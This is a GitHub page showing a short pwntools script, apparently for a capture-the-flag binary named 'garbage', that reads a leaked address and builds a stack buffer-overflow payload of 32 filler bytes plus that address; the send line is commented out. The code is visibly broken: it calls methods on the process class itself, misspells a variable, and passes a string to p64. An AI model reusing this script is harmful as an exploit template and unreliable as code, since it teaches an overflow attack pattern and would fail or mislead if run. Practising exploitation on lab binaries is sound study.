Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'debug'
import logging
logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger("PWN")
log.info("Startng process...")
#And do the Input / output
p = process("./garbage") #Change this to the File
p = process.recv_until(">") #Should get up the the Yes No Prompt
log.debug(p)
#Reply Yess
process.writeline("y")
#Get the next lot
p = process.recv_until("..")
log.debug(p)
#And the "Data"
addresses = process.recvuntil('"')
log.info("---- You need to Process this part ---")
log.info(addressess)
#Split on space
parts = addresses.split(" ")
#Remove brackets
ADDRESS = parts[0].strip("[").strip("]").strip() #Brackets and whitespace
#And get ready to send the response
p = process.recv_until(">")
log.debug(p)
#Build the payload
OFFSET = 32
payload = "A"*32
payload += p64(ADDRESS)
#And Send it
#p.sendline(payload)